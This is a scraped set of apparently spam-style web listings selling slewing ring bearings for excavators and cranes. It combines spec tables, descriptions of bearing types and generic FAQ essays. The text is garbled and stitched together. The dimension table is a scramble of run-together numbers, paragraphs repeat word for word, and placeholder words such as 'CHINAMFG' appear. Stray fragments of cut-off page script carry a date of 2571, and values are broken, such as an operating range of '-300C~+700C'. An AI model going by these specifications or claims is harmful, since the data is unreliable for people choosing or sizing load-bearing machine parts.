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SLEWINGRING

SALES@SLEWINGRING.TOP

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CHINA PROFESSIONAL EXCAVATOR TURNTABLE SINGLE-ROW FOUR-POINT CONTACT SLEWING
RING 022.25.0710.002

PRODUCT DESCRIPTION

No. Basic Type Boundary Size Bolt hole diameter Structural Size Gear Data Ext
Gear Data Int Gear Data None-gear Ext Gear Int Gear D d H D1 D2 dn1
dn2 dm1
dm2 L n n1 H1 h b m de z de z mm mm mm 1 130.25.500 131.25.500 133.25.500 634
366 148 598 402 18 M16 32 24 4 138 32 80 5 664 130 337 68 132.25.500 134.25.500
6 664.8 108 338.4 57 2 130.25.560 131.25.560 133.25.560 694 426 658 462 5 724
142 397 80 132.25.560 134.25.560 6 724.8 118 398.4 67 3 130.25.630 131.25.630
133.25.630 764 496 728 532 28 808.8 132 458.4 77 132.25.630 134.25.630 8 806.4
98 459.2 58 4 130.25.710 131.25.710 133.25.710 844 576 808 612 6 886.8 145 536.4
90 132.25.710 134.25.710 8 886.4 108 539.2 68 5 130.32.800 131.32.800 133.32.800
964 636 182 920 680 22 M20 40 36 172 40 120 1006.4 123 595.2 75 132.32.800
134.32.800 10 1008 98 594 60 6 130.32.900 131.32.900 133.32.900 106 736 1571 780
8 1102.4 135 691.2 87 132.32.900 134.32.900 10 1108 108 694 70 7 130.32.1000
131.32.1000 133.32.1000 1164 836 1120 880 40 5 1218 119 784 79 132.32.1000
134.32.1000 12 1221.6 99 784.8 66 8 130.32.1120 131.32.1120 133.32.1120 1284 956
1240 1000 10 1338 131 904 91 132.32.1120 134.32.1120 12 1341.6 109 904.8 76 9
130.40.1250 134.40.1250 133.40.1250 1445 1055 220 1393 1107 26 M24 48 45 210 50
150 1509.6 123 988.8 83 132.40.1250 134.40.1250 14 1509.2 105 985.6 71 10
130.40.1400 131.40.1400 133.40.1400 1595 1205 1543 1257 12 1665.6 136 1144.8 96
132.40.1400 134.40.1400 14 1663.2 116 1139.6 82 11 130.40.1600 131.40.1600
133.40.1600 1795 1405 1743 1457 48 6 14 1873.2 131 1335.6 96 132.40.1600
134.40.1600 16 1868.8 114 1334.4 84 12 130.40.1800 131.40.1800 133.40.1800 1995
1605 1943 1657 14 2069.2 145 1531.6 110 132.40.1800 134.40.1800 16 2076.8 127
1526.4 96 13 130.45.2000 131.45.2000 133.45.2000 2221 1779 231 2155 1845 33 M30
60 60 219 54 160 2300.8 141 1702.4 107 132.45.2000 134.45.2000 18 2300.4 125
1699.2 95 14 130.45.2240 131.45.2240 133.45.2240 2461 2019 2395 2085 16 2556.8
157 1926.4 121 132.45.2240 134.45.2240 18 2552.4 139 1933.2 108 15 130.45.2500
131.45.2500 133.45.2500 2721 2279 2655 2345 72 8 2822.4 154 2185.2 122
132.45.2500 134.45.2500 20 2816 138 2188 110 16 130.45.2800 131.45.2800
133.45.2800 3571 2579 2955 2645 18 3110.4 170 2491.2 139 132.45.2800 133.45.2800
20 3116 153 2488 125 17 130.50.3150 131.50.3150 133.50.3150 3432 2868 270 3342
2958 45 M42 84 258 65 180 3536 174 2768 139 132.50.3150 134.50.3150 22 3537.6
158 2758.8 126 18 130.50.3550 131.50.3550 133.50.3550 3832 3268 3742 3358 20
3936 194 3168 159 132.50.3550 134.50.3550 22 3933.6 176 3154.8 144 19
130.50.4000 131.50.4000 133.50.4000 4282 3718 4192 3808 80 4395.6 197 3116.8 165
132.50.4000 134.50.4000 25 4395 173 3610 145 20 130.50.4500 131.50.4500
133.50.4500 4782 4218 4692 4308 22 4901.6 220 4122.8 188 132.50.4500 134.50.4500
25 4895 193 4110 165

3. Features:
Slewing ring bearings have more features: compact structure, reliable guide,
simple installation, and easily maintenance
4. Application:
Slewing ring bearings can be widely used in lifting & transport machinery,
mining machinery, construction machinery, port hoisting machinery, port oil
transfer equipment, onshore and offshore crane, excavator, concrete machine,
paper machine, plastic and rubber machine, weave machine, steel plant,
electronic power plant, wind power generator, other construction and industry
machines or equipments and other large rotary device
Single row ball slewing ring bearing:

1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
The single row ball slewing ring bearing is composed of 2 seat-rings. The balls
contact with the circular race at 4 points, via which the axial force, radial
force and resultant moment may be born simultaneously.

2.2. Structure
Slewing ring bearings have different types as per different structures, here
below is what we offering now:
Single row ball slewing bearing has 3 different types:
Single row ball slewing bearing with no gear
Single row ball slewing bearing with external gear
Single row ball slewing bearing with internal gear
Single row ball slewing ring bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
The single row ball slewing ring bearing is composed of 2 seat-rings. The balls
contact with the circular race at 4 points, via which the axial force, radial
force and resultant moment may be born simultaneously.
2. Structure
Slewing ring bearings have different types as per different structures, here
below is what we offering now:
Single row ball slewing bearing has 3 different types:
Single row ball slewing bearing with no gear
Single row ball slewing bearing with external gear
Single row ball slewing bearing with internal gear

3. Features
Single row ball slewing ring bearings have following features:
Compact in structure and light in weight.
4. Application:
Single row ball slewing ring bearings are widely used in slewing conveyers,
welding arm and positioned, medium duty cranes, excavators and other engineering
machines
Double row ball slewing ring bearing:
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
The double row ball slewing bearing has 3 seat-rings. The steel balls and the
retainers may be directly arranged into the upper and lower racers. Two rows of
steel balls with different diameters are fitted according to the force. Such
open type fitting is extraordinary convenient, the loading angels at upper and
lower races are 90°which can carry both of the axial force and capsizing moment.
When the radial force is larger than 1/10 of the axial force, the races should
be newly designed.
2. Structure:
Double row ball slewing bearing has 3 different types:
Double row ball slewing bearing with no gear
Double row ball slewing bearing with external gear
Double row ball slewing bearing with internal gear
3. Features:
Double row ball slewing ring bearings have following features:
Larger dimension of axial and radial and compact structure.
4. Application:
Double row ball slewing ring bearings are widely used in Tower cranes which
require working radius over medium range, auto crane and loading (unloading)
machinery.
Double row ball slewing ring bearing:
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
The double row ball slewing bearing has 3 seat-rings. The steel balls and the
retainers may be directly arranged into the upper and lower racers. Two rows of
steel balls with different diameters are fitted according to the force. Such
open type fitting is extraordinary convenient, the loading angels at upper and
lower races are 90°which can carry both of the axial force and capsizing moment.
When the radial force is larger than 1/10 of the axial force, the races should
be newly designed.
2. Structure:
Double row ball slewing bearing has 3 different types:
Double row ball slewing bearing with no gear
Double row ball slewing bearing with external gear
Double row ball slewing bearing with internal gear

3. Features:
Double row ball slewing ring bearings have following features:
Larger dimension of axial and radial and compact structure.
4. Application:
Double row ball slewing ring bearings are widely used in Tower cranes which
require working radius over medium range, auto crane and loading (unloading)
machinery.
Crossed roller slewing ring bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
With the cross roller Ring, cylindrical rollers are arranged crosswise, with
each roller perpendicular to the adjacent roller, in a 90° groove, separated
from each other by a spacer retainer. This design allows just 1 bearing to
receive loads in all directions including, radial, axial and moment loads. Since
the Cross-Roller Ring achieves high rigidity despite the minimum possible
dimensions of the inner and outer rings, it is optimal for applications such as
joints and swiveling units of industrial robots, swiveling tables of machining
centers, rotary units of manipulators, precision rotary tables, medical
equipment, measuring instruments and IC manufacturing machines.
2. Structure:
Cross roller slewing bearing has 3 different types:
Cross roller ball slewing bearing with no gear
Cross roller ball slewing bearing with external gear
Cross roller ball slewing bearing with internal gear

3. Features
Cross roller slewing ring bearings have following features:
1. High precision: cross roller bearings can be made high precision bearings, at
P4, P2.
2. High rigidity: These series roller bearings are with preload.
3. High load capacity: This series roller bearing can support axial load, radial
load, and tilting load.
4. Small volume: this series roller bearing can save space for the machine.
4. Application
Cross roller slewing rings are widely applied in the precision rotary table,
rotary joint of manipulator, medical equipment, and measuring instrument etc
Triple row roller slewing ring bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
Three row roller slewing ring bearing has 3 seat-rings, which separate the
upper, lower and radial raceway, via which the load of each row of the rollers
may be specified. Thus it can carry different load simultaneously and its load
capacity is the largest 1 of the 4 types
2. Structure:
Triple row roller slewing bearing has 3 different types:
Triple row roller slewing bearing with no gear
Triple row roller slewing bearing with external gear
Triple row roller slewing bearing with internal gear
3. Features
Triple row roller slewing ring bearings have following features:
Larger axial and radial dimension, compact structure
4. Application
Triple row roller slewing rings are widely used in heavy-duty machines which
require large working radius, such as bucket-wheel excavators, wheeled cranes,
ship cranes, ladle turret, auto cranes etc.
Flange Slewing Bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
Flange slewing bearing is a special slewing ring bearing, it can have 1 flange
in the outer ring, or 1 flange in the inner ring, even it can have 1 flange in
both inner ring and outer ring.
2. Structure:
Flange slewing bearing has 3 different types:
Flange slewing bearing with no gear
Flange slewing bearing with external gear
Flange slewing bearing with internal gear
3. Features
Flange slewing bearings have following features:
Compact structure and easily installment.
4. Application
Flange slewing bearings are widely used in tow truck, and other applications are
the same as slewing bearings, such as lifting & transport machinery, mining
machinery, construction machinery, excavator, concrete machine, paper machine,
plastic and rubber machine and steel plant.
Excavator Slewing Bearing
Excavator slewing bearing is a special slewing ring bearing as per its
applications. And it is a very important part for excavators, we can supply
excavator slewing bearings for both second-hand excavators for maintenance and
new excavators.
2. Structure:
Excavator slewing bearing are usually made as per single row ball slewing
bearing structure, and most of them are internal gear types, but some are
external gear types.
3. Features
Excavator slewing bearings have familiar features as single row ball slewing
ring bearings.
Compact structure, light weight and easily installment.
4. Application
Excavator slewing bearings are widely used for all brands of excavators, such as
Hitachi, Kobelco, Sumitomo, Doosan, Hyundai, Samsung, Daewoo, Kato, CHINAMFG
and so on.

The suitable temperature and working environment for slewing bearing
The slewing bearing produced by our company can work normally at -300C.~+ 700C.
If users need to adapt to lower or higher temperature support, our engineering
technicians can design for you. If the slewing bearing are used in particularly
hostile environment, such as Marine c1imate, dust or CHINAMFG particles (dust,
cement, coal powder) etc. Special sealing rings, protective devices, and proper
oil paths must be selected. Therefore, we hope users to do the daily maintenance
work to make your slewing bearing function normally

Installation of slewing bearing
1.Handling and transportation .The slewing bearing must be handled carefully

.Transportation and storage of slewing bearing should be held horizontally and
stored in a dry room

.For hoisting lift bolt is suitable and please move it horizontally , do not hit
anything, especially the direction collision

.The slewing bearing surface is covered with antitrust agent, whose rust proof
life is usually 6 months For those whose storage

life of more than 6 months (such as accessories) should take the antitrust
package or other storage measures again

2.Installing support requirements .Generally, install matching support adopts
tubular structure , the cylinder’s wall should be better

aligned at the center of the raceway

Packing &Shipping
Welcome to contact us freely to get product information &Newest Price and fast
delivery time.

/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
a,o={};try{e&&e.split(“,”).forEach(function(e,t){e&&(a=e.match(/(.*?):(.*)$/))&&1

Standard or Nonstandard: Standard Feature: High Speed, Vacuum, Antimagnetic,
Cold-Resistant, Corrosion-Resistant, Heat-Resistant Sealing Gland: Sealed On
Both Sides Rolling-Element Number: Single-Row Roller Type: Spherical Raceway
Material: Bearing Steel

Customization:
Available

ARE THERE INNOVATIONS OR ADVANCEMENTS IN SLEWING RING TECHNOLOGY THAT HAVE
EMERGED RECENTLY?

Yes, there have been several innovations and advancements in slewing ring
technology that have emerged recently. These advancements aim to improve the
performance, efficiency, durability, and versatility of slewing rings in various
applications. Here’s a detailed explanation of some recent innovations in
slewing ring technology:

* Lightweight Materials: Manufacturers are increasingly exploring the use of
lightweight materials such as aluminum alloys or advanced composites in
slewing ring construction. These materials offer high strength-to-weight
ratios, reducing the overall weight of the slewing ring without compromising
its load-bearing capacity. The adoption of lightweight materials contributes
to energy savings, improved maneuverability, and reduced structural stress.
* Enhanced Sealing and Protection: Slewing rings are being equipped with
advanced sealing systems and protective coatings to enhance their resistance
to environmental factors such as dust, moisture, and chemicals. These
innovations help prevent contamination, reduce friction, and extend the
lifespan of the slewing rings, especially in harsh operating conditions.
* Integrated Bearings and Gear Technology: Some slewing rings now incorporate
integrated bearing and gear technologies. This integration eliminates the
need for separate bearings and gears, simplifying the design and reducing
assembly time. It also improves load distribution and torque transmission,
resulting in smoother operation, increased efficiency, and reduced
maintenance requirements.
* Improved Lubrication Systems: Lubrication systems for slewing rings have seen
advancements to enhance lubricant distribution and retention. Centralized
lubrication systems, automatic lubrication systems, or sealed-for-life
designs are being implemented to ensure optimal lubrication and minimize
maintenance intervals. These advancements contribute to lower friction,
reduced wear, and improved efficiency.
* Condition Monitoring and Predictive Maintenance: Slewing rings are being
equipped with condition monitoring systems that utilize sensors and data
analysis techniques. These systems monitor parameters such as temperature,
vibration, and load to detect anomalies and predict potential failures. By
enabling predictive maintenance, these advancements help optimize maintenance
schedules, minimize downtime, and extend the operational life of slewing
rings.
* Smart and Connected Features: The integration of smart and connected features
in slewing rings is becoming more prevalent. Slewing rings equipped with IoT
capabilities can communicate data wirelessly, enabling remote monitoring,
diagnostics, and control. This facilitates real-time performance analysis,
allows for centralized management of multiple slewing rings, and supports the
implementation of advanced automation and optimization strategies.
* Improved Manufacturing Techniques: Advances in manufacturing technologies,
such as precision machining, automated assembly, and advanced quality control
methods, have contributed to the production of high-quality slewing rings.
These techniques ensure tighter tolerances, improved surface finishes, and
enhanced reliability. Additionally, computer-aided design (CAD) and
simulation tools allow for better optimization of slewing ring designs,
resulting in improved performance and efficiency.

These recent innovations and advancements in slewing ring technology have opened
up new possibilities for various industries where slewing rings are utilized,
including construction, mining, renewable energy, material handling, and
aerospace. They offer improved performance, increased durability, enhanced
functionality, and greater efficiency, enabling the optimization of rotating
systems and supporting the development of advanced applications.

CAN YOU PROVIDE EXAMPLES OF PRODUCTS OR MACHINERY THAT COMMONLY USE SLEWING
RINGS?

Slewing rings are widely used in various industries and play a vital role in the
functioning of numerous products and machinery. They offer rotational support,
precise motion control, and load-bearing capabilities. Here are some examples of
products or machinery that commonly utilize slewing rings:

* Construction Machinery: Slewing rings are extensively used in construction
machinery such as excavators, cranes, concrete pumps, and tower cranes. They
enable the rotation and movement of the boom, arm, and bucket, allowing for
precise control during digging, lifting, and material placement operations.
* Material Handling Equipment: Slewing rings are essential components in
material handling equipment like forklifts, stackers, and reach stackers.
They facilitate the rotation and swiveling of the mast or boom, enabling
efficient loading, unloading, and stacking of goods in warehouses, logistics
centers, and ports.
* Wind Turbines: Slewing rings are crucial in wind turbines, where they support
the yaw and pitch mechanisms. The yaw system allows the turbine to rotate and
face the wind direction, while the pitch system adjusts the angle of the
blades for optimal wind capture. Slewing rings enable precise and controlled
movement, ensuring efficient wind energy conversion.
* Cranes: Various types of cranes, including mobile cranes, crawler cranes, and
tower cranes, rely on slewing rings for their rotation and lifting
capabilities. Slewing rings support the crane’s superstructure, allowing it
to rotate horizontally, and provide stability and load-bearing capacity
during lifting operations.
* Rotary Drilling Rigs: Slewing rings are commonly used in rotary drilling rigs
for oil and gas exploration, foundation construction, and mining operations.
They enable the rotation and positioning of the drill mast, allowing for
precise drilling and borehole creation.
* Railway Equipment: Slewing rings find application in railway equipment such
as rail cranes, railway maintenance machines, and turntables. They facilitate
the rotation and movement of equipment, ensuring efficient maintenance,
repairs, and track positioning.
* Robotics: Slewing rings are integral to robotic systems, including industrial
robots, robotic arms, and robotic welding systems. They enable the rotational
movement and articulation of the robot’s joints, allowing for precise and
controlled manipulation in manufacturing, assembly, and automation processes.
* Solar Tracking Systems: Slewing rings are employed in solar tracking systems
to orient solar panels toward the sun. They enable the rotation and tilting
of the panels, maximizing solar energy absorption and optimizing power
generation in solar farms and photovoltaic systems.
* Turntables and Rotating Platforms: Slewing rings are used in turntables and
rotating platforms found in various applications. They support the rotational
movement of entertainment stages, amusement park rides, revolving
restaurants, and display platforms in trade shows or exhibitions.

These are just a few examples of the diverse range of products and machinery
that commonly utilize slewing rings. Their ability to provide rotational
support, precise motion control, and load-bearing capabilities makes them
indispensable components in numerous industries, including construction,
material handling, energy, transportation, robotics, and entertainment.

HOW DOES THE CHOICE OF MATERIALS IMPACT THE PERFORMANCE OF SLEWING RINGS IN
DIFFERENT ENVIRONMENTS?

The choice of materials significantly impacts the performance of slewing rings
in different environments. The selection of appropriate materials ensures the
desired strength, durability, corrosion resistance, and overall reliability of
the slewing rings. Here’s a detailed explanation of how the choice of materials
impacts the performance of slewing rings in different environments:

* Corrosion Resistance: Different environments may expose slewing rings to
corrosive elements such as moisture, chemicals, or saltwater. Choosing
materials with high corrosion resistance, such as stainless steel or
corrosion-resistant alloys, helps protect the slewing rings from chemical
reactions and rust formation. Corrosion-resistant materials ensure the
longevity and reliability of slewing rings, especially in marine, offshore,
or chemical industry applications.
* Temperature Resistance: Environmental conditions, such as extreme
temperatures or thermal cycling, can affect the performance of slewing rings.
Materials that exhibit excellent temperature resistance, such as heat-treated
steels or specialized alloys, are crucial in applications where slewing rings
are exposed to high or low temperatures. These materials maintain their
mechanical properties and dimensional stability, ensuring reliable
performance even in demanding temperature environments.
* Wear and Fatigue Resistance: In applications with high loads, repetitive
movements, or abrasive environments, slewing rings may experience wear and
fatigue. Choosing materials with high wear resistance, such as hardened
steels or materials with specialized coatings, minimizes surface damage and
extends the service life of the slewing rings. These materials can withstand
the repetitive stresses and abrasive conditions, reducing the risk of
premature failure.
* Weight Considerations: In certain applications, weight is a critical factor.
Slewing rings that are used in lightweight or mobile equipment may require
materials that offer a balance between strength and weight. Lightweight
materials like aluminum or high-strength composites can be suitable choices
to reduce the overall weight of the slewing rings and improve the efficiency
and maneuverability of the equipment.
* Load Capacity: The choice of materials affects the load-carrying capacity of
slewing rings. Materials with high tensile strength and fatigue resistance,
such as specialized steels or alloys, enhance the load-bearing capabilities
of the slewing rings. The selection of materials with appropriate mechanical
properties ensures that the slewing rings can handle the required loads
without deformation or failure.
* Compatibility with Lubricants: Lubrication is essential for smooth operation
and reduced friction in slewing rings. The choice of materials should
consider their compatibility with the lubricants used in the specific
environment. Certain materials may be more compatible with certain types of
lubricants, ensuring optimal lubrication and minimizing wear and friction.
* Electrical Conductivity: In applications where electrical conductivity is
required, such as in certain industrial or robotic systems, materials with
appropriate electrical conductivity properties may be necessary. Copper or
specific alloys can be chosen to provide the desired electrical conductivity
while maintaining the mechanical integrity of the slewing rings.

By selecting the appropriate materials based on the environmental conditions and
specific application requirements, the performance and reliability of slewing
rings can be optimized. Manufacturers and engineers consider factors such as
corrosion resistance, temperature resistance, wear resistance, weight
considerations, load capacity, lubricant compatibility, and electrical
conductivity to determine the most suitable materials for slewing rings in
different environments.

editor by Dream 2024-05-17

This entry was posted in Uncategorized on May 17, 2024 by ep.

CHINA STANDARD SINGLE -ROW CROSS ROLLER SLEWING RING USED FOR STACKER, TRUCK
CRANES, NON-PORT WHEELED CRANES, TOWER CRANES, MARINE CRANES, CRAWLER CRANES

PRODUCT DESCRIPTION

Slewing ring bearing is also called slewing ring, slewing bearing, turntable
bearing, and rotary bearing.
Slewing ring bearing is a bearing that able to bear axial load, radial load and
overturning torque. Under normal circumstances, slewing ring bearings have their
own mounting holes, lubricant holes and seal holes, to meet the different needs
of the various host working under the various conditions;
On the other hand, slewing ring bearing itself has characteristics of compact
structure, guide rotating convenient, easy to install and maintaining easily.
2. Structure
2.1 Slewing ring bearings have different types as per different structures, here
below is what we offering now:
Single row ball slewing ring bearings
Double row ball slewing ring bearings
Crossed roller slewing ring bearings
Three row roller slewing ring bearings
Flange slewing ring bearings
2.2 The above slewing ring bearings can also be divided into 3 different types
as per different transmissions:
Slewing ring bearings with no gear
Slewing ring bearings with external gear
Slewing ring bearings with internal gear
3. Features:
Slewing ring bearings have more features: compact structure, reliable guide,
simple installation, and easily maintenance
4. Application:
Slewing ring bearings can be widely used in lifting & transport machinery,
mining machinery, construction machinery, port hoisting machinery, port oil
transfer equipment, onshore and offshore crane, excavator, concrete machine,
paper machine, plastic and rubber machine, weave machine, steel plant,
electronic power plant, wind power generator, other construction and industry
machines or equipments and other large rotary device
Single row ball slewing ring bearing:

3. Features
Cross roller slewing ring bearings have following features:
1. High precision: cross roller bearings can be made high precision bearings, at
P4, P2.
2. High rigidity: These series roller bearings are with preload.
3. High load capacity: This series roller bearing can support axial load, radial
load, and tilting load.
4. Small volume: this series roller bearing can save space for the machine.
4. Application
Cross roller slewing rings are widely applied in the precision rotary table,
rotary joint of manipulator, medical equipment, and measuring instrument etc
Triple row roller slewing ring bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
Three row roller slewing ring bearing has 3 seat-rings, which separate the
upper, lower and radial raceway, via which the load of each row of the rollers
may be specified. Thus it can carry different load simultaneously and its load
capacity is the largest 1 of the 4 types
2. Structure:
Triple row roller slewing bearing has 3 different types:
Triple row roller slewing bearing with no gear
Triple row roller slewing bearing with external gear
Triple row roller slewing bearing with internal gear
3. Features
Triple row roller slewing ring bearings have following features:
Larger axial and radial dimension, compact structure
4. Application
Triple row roller slewing rings are widely used in heavy-duty machines which
require large working radius, such as bucket-wheel excavators, wheeled cranes,
ship cranes, ladle turret, auto cranes etc.
Flange Slewing Bearing
1.Slewing bearing is also called slewing ring, slewing ring bearing, turntable
bearing, and rotary bearing.
Flange slewing bearing is a special slewing ring bearing, it can have 1 flange
in the outer ring, or 1 flange in the inner ring, even it can have 1 flange in
both inner ring and outer ring.
2. Structure:
Flange slewing bearing has 3 different types:
Flange slewing bearing with no gear
Flange slewing bearing with external gear
Flange slewing bearing with internal gear
3. Features
Flange slewing bearings have following features:
Compact structure and easily installment.
4. Application
Flange slewing bearings are widely used in tow truck, and other applications are
the same as slewing bearings, such as lifting & transport machinery, mining
machinery, construction machinery, excavator, concrete machine, paper machine,
plastic and rubber machine and steel plant.
Excavator Slewing Bearing
Excavator slewing bearing is a special slewing ring bearing as per its
applications. And it is a very important part for excavators, we can supply
excavator slewing bearings for both second-hand excavators for maintenance and
new excavators.
2. Structure:
Excavator slewing bearing are usually made as per single row ball slewing
bearing structure, and most of them are internal gear types, but some are
external gear types.
3. Features
Excavator slewing bearings have familiar features as single row ball slewing
ring bearings.
Compact structure, light weight and easily installment.
4. Application
Excavator slewing bearings are widely used for all brands of excavators, such
as,Hitachi, Kobelco, Sumitomo, Doosan, Hyundai, Samsung, Daewoo, Kato, CHINAMFG
and so on.

/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
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Samples:
US$ 1/Set
1 Set(Min.Order)

Customization:
Available

CAN YOU DESCRIBE THE FACTORS TO CONSIDER WHEN SELECTING SLEWING RINGS FOR
SPECIFIC APPLICATIONS?

When selecting slewing rings for specific applications, several factors need to
be considered to ensure optimal performance and reliability. Here’s a detailed
description of the factors to consider:

* Load Requirements: The load capacity of the slewing ring should match the
anticipated loads in the application. Consider both the maximum static load
(weight of the structure or equipment) and dynamic load (forces during
operation). It is crucial to analyze the load distribution, including axial,
radial, and moment loads, and select a slewing ring with sufficient
load-carrying capacity to handle these loads.
* Space Limitations: Evaluate the available space for the installation of the
slewing ring. Consider the diameter, height, and width of the slewing ring to
ensure it fits within the space constraints of the application. It is
essential to consider both the external dimensions of the slewing ring and
the required clearance for rotation.
* Rotational Speed: Determine the required rotational speed of the slewing
ring. Consider the application’s operating speed and any specific speed
limitations. The slewing ring should be selected to accommodate the
rotational speed requirements while maintaining smooth and efficient
operation.
* Environmental Conditions: Evaluate the operating environment of the
application. Factors such as temperature, humidity, dust, water exposure,
chemicals, and corrosive elements should be considered. Choose a slewing ring
with appropriate sealing systems, corrosion-resistant materials, and
lubrication options to withstand the specific environmental conditions.
* Accuracy and Positioning: Some applications require precise positioning and
rotational accuracy. Determine the required level of accuracy and select a
slewing ring that provides the necessary precision. Factors such as gear
mechanism, backlash control, and manufacturing tolerances contribute to the
accuracy of the slewing ring.
* Operating Conditions: Consider the overall operating conditions of the
application, including factors such as shock and vibration levels, duty
cycle, continuous or intermittent operation, and expected service life. The
slewing ring should be designed to withstand the anticipated operating
conditions and provide reliable performance over the desired lifespan.
* Integration and Compatibility: Assess the integration requirements of the
slewing ring with the rest of the system or equipment. Consider factors such
as mounting interfaces, connection points, gear compatibility, and the need
for additional components such as drive systems or bearings. Ensure that the
selected slewing ring is compatible with the existing or planned system
components.
* Industry Standards and Regulations: Depending on the application, specific
industry standards and regulations may apply. Consider any applicable
standards, such as ISO specifications or industry-specific guidelines, to
ensure compliance and safety in the selection of the slewing ring.

By carefully analyzing these factors and selecting a slewing ring that meets the
specific requirements of the application, one can ensure optimal performance,
longevity, and reliability of the slewing ring in its intended use.

WHAT IS A SLEWING RING, AND HOW IS IT USED IN MECHANICAL SYSTEMS?

A slewing ring, also known as a slewing bearing or turntable bearing, is a
specialized type of rolling element bearing that enables rotational movement
between two components. It consists of an inner ring, an outer ring, rolling
elements (such as balls or rollers), and often a gear mechanism. Slewing rings
are used in mechanical systems where there is a need for smooth and controlled
rotation. Here’s a detailed explanation of what a slewing ring is and how it is
used:

* Structure and Components: A slewing ring typically has a large diameter
compared to its thickness, allowing it to support axial, radial, and moment
loads. The inner and outer rings have raceways that the rolling elements move
along. The rolling elements, which can be balls or rollers, distribute the
load and facilitate smooth rotation. In some cases, a gear mechanism is
integrated into the slewing ring, allowing it to act as a rotational drive
system.
* Rotational Movement: The primary function of a slewing ring is to enable
rotational movement between two components. It provides a stable and
low-friction interface that allows one component to rotate relative to the
other. The rolling elements within the raceways minimize friction and
distribute the load evenly, resulting in smooth and controlled rotation.
Slewing rings can support both continuous rotation and intermittent or
oscillating movement, depending on the application requirements.
* Load Support: Slewing rings are designed to support various types of loads.
They can handle axial loads, which are forces acting parallel to the axis of
rotation, as well as radial loads, which are forces acting perpendicular to
the axis of rotation. Additionally, slewing rings can accommodate moment
loads, which are a combination of axial and radial loads that create bending
or twisting forces. The load-carrying capacity of a slewing ring depends on
factors such as its size, design, and choice of rolling elements.
* Applications: Slewing rings find applications in a wide range of mechanical
systems across different industries. Some common uses include:

* Construction and Cranes: Slewing rings are extensively used in construction
machinery, cranes, and mobile equipment. They enable 360-degree rotation of
the boom or jib, allowing for efficient material handling and positioning.
* Wind Turbines: Slewing rings are crucial components in wind turbine systems.
They support the rotor, allowing it to rotate according to wind direction,
and provide a connection between the rotor and the nacelle, enabling yaw
movement.
* Industrial Equipment: Slewing rings are utilized in various industrial
equipment, including indexing tables, turntables, robotic arms, and packaging
machinery. They facilitate precise and controlled rotation in these
applications.
* Transportation and Automotive: Slewing rings are employed in transportation
and automotive applications, such as vehicle cranes, aerial platforms, and
rotating platforms for heavy-duty vehicles. They enable safe and smooth
rotation in these specialized systems.
* Medical and Rehabilitation Equipment: Slewing rings are used in medical and
rehabilitation equipment, such as patient lifts and adjustable beds. They
allow for smooth and controlled movement, aiding in patient care and mobility
assistance.

In summary, a slewing ring is a specialized bearing that enables controlled
rotational movement between components in mechanical systems. Its ability to
support various loads, provide smooth rotation, and accommodate different
applications makes it a valuable component in a wide range of industries.

HOW DOES THE CHOICE OF MATERIALS IMPACT THE PERFORMANCE OF SLEWING RINGS IN
DIFFERENT ENVIRONMENTS?

editor by Dream 2024-05-17

This entry was posted in Uncategorized on May 17, 2024 by ep.

CHINA SUPPLIER OUTER GEAR TURNTABLE BEARING SLEWING RING FOR EXCAVATOR

PRODUCT DESCRIPTION

Product Description

With the tough, heavy-duty conditions of the mining industry, excavators, bucket
wheel excavators and stackers / reclaimers are up against a real challenge.
Slewing bearing solutions are vital for the performance and reliability of these
applications.

Thanks to a high carrying capacity and high resistance to overturning moments,
King Steel slewing bearing solutions improve:

* Machinery reliability
* Operator comfort
* Working accuracy
And, as a result, increase the availability and productivity of the excavator.

King Steel slewing bearing solutions are available in different designs to meet
the requirements of mini excavators as well as giant shovels. With an Ruding
Steel centralized lubrication system, the Ruding Steel slewing bearing solutions
become even more efficient.

Specifications:

Product Name

High Precision Slewing Bearing

Material

Chrome Steel

Operating Temperature

-40°C ~ +50°C

Heat treatment

Quenching and tempering, Raceway induction quenching

Standard

EN 15714 2.2; EN 15714 3.1.B ; EN15714 3.1.C

Features

Four Point Contact

Application

Crane, Excavator, all kinds of machine

Manufacturing Process:
Forging ring body material — Rough Lathing — Raceway heat treatment — Drilling —
Teeth cutting — Teeth heat treatment — Ball hardness inspection — Assembling —
Finall inspection — Packaging

Packaging & Shipping

Please contact us for more information and quotations.
/* January 22, 2571 19:08:37 */!function(){function s(e,r){var
a,o={};try{e&&e.split(“,”).forEach(function(e,t){e&&(a=e.match(/(.*?):(.*)$/))&&1

Standard or Nonstandard: Standard Feature: High Speed, Vacuum, Antimagnetic,
Cold-Resistant, Corrosion-Resistant, Heat-Resistant Sealing Gland: Non-Seal

Samples:
US$ 1000/Piece
1 Piece(Min.Order)

Order Sample

Customization:
Available

.shipping-cost-tm .tm-status-off{background: none;padding:0;color: #1470cc}

Shipping Cost:

Estimated freight per unit.

about shipping cost and estimated delivery time.

Payment Method:

Initial Payment

Full Payment

Currency: US$

Return&refunds: You can apply for a refund up to 30 days after receipt of the
products.

WHAT ARE THE DIFFERENT TYPES AND CONFIGURATIONS OF SLEWING RINGS AVAILABLE IN
THE MARKET?

Slewing rings are available in various types and configurations to cater to the
diverse needs of different applications. The following are the different types
and configurations of slewing rings commonly available in the market:

* Single-Row Ball Slewing Rings: This type of slewing ring consists of a single
row of balls placed between two rings. It offers compact design, low weight,
and high load-carrying capacity. Single-row ball slewing rings are commonly
used in applications where axial and radial loads need to be supported.
* Double-Row Ball Slewing Rings: Double-row ball slewing rings have two rows of
balls, providing higher load-carrying capacity compared to single-row
designs. They are suitable for applications that require increased load
capacity and improved stiffness.
* Three-Row Roller Slewing Rings: Three-row roller slewing rings feature three
rows of rollers arranged in a crisscross pattern. This configuration allows
for higher load-carrying capacity and increased rigidity. Three-row roller
slewing rings are commonly used in heavy-duty applications where significant
radial, axial, and moment loads need to be supported.
* Ball and Roller Combination Slewing Rings: In some cases, slewing rings are
